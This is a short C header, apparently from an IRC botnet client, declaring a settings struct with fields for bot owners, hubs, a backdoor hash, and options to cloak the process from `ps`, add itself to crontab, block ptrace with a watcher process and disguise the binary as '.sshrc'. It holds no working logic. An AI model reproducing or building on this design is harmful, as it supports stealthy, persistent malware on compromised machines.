settings.h 1.2 KB

123456789101112131415161718192021222324252627282930313233343536373839
  1. #ifndef _SETTINGS_H
  2. #define _SETTINGS_H
  3. #define PREFIXLEN 16
  4. typedef struct settings_struct {
  5. char prefix[PREFIXLEN];
  6. /* -- STATIC -- */
  7. char hash[65];
  8. char packname[65];
  9. char shellhash[65];
  10. char bdhash[65];
  11. char owners[1024];
  12. char hubs[1024];
  13. char owneremail[1024];
  14. char salt1[65];
  15. char salt2[45];
  16. char dcc_prefix[25];
  17. /* -- DYNAMIC -- */
  18. char bots[1389];
  19. char uid[25];
  20. char autouname[25]; /* should we just auto update any changed in uname output? */
  21. char pscloak[25]; /* should the bots bother trying to cloak `ps`? */
  22. char autocron[25]; /* should the bot auto crontab itself? */
  23. char watcher[25]; /* spawn a watcher pid to block ptrace? */
  24. char uname[489];
  25. char username[45]; /* shell username */
  26. char homedir[489]; /* homedir */
  27. char binpath[489]; /* path to binary, ie: ~/ */
  28. char binname[45]; /* binary name, ie: .sshrc */
  29. char portmin[25]; /* for hubs, the reserved port range for incoming connections */
  30. char portmax[25]; /* for hubs, the reserved port range for incoming connections */
  31. /* -- PADDING -- */
  32. char padding[4];
  33. } settings_t;
  34. extern settings_t settings;
  35. #endif /* !_SETTINGS_H */